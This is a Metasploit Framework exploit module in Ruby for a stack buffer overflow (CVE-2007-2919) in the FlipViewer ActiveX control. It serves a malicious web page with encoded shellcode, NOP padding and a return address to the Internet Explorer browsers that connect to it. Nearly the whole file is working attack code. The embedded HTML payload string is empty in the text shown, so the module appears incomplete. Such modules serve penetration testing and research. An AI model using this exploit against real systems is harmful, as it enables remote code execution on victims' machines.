## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'FlipViewer FViewerLoading ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in E-BOOK Systems FlipViewer 4.0. The vulnerability is caused due to a boundary error in the FViewerLoading (FlipViewerX.dll) ActiveX control when handling the "LoadOpf()" method. }, 'License' => BSD_LICENSE, 'Author' => [ 'LSO ' ], 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2007-2919' ], [ 'OSVDB', '37042' ], [ 'BID', '24328' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ # Tested ok patrickw 20090303 [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ], ], 'DisclosureDate' => 'June 6 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) return if ((p = regenerate_payload(cli)) == nil) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) nops = Rex::Text.to_unescape(make_nops(4)) ret = Rex::Text.uri_encode([target.ret].pack('L')) vname = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(30) + 2) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) content = %Q|

| content = Rex::Text.randomize_space(content) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, content) handler(cli) end end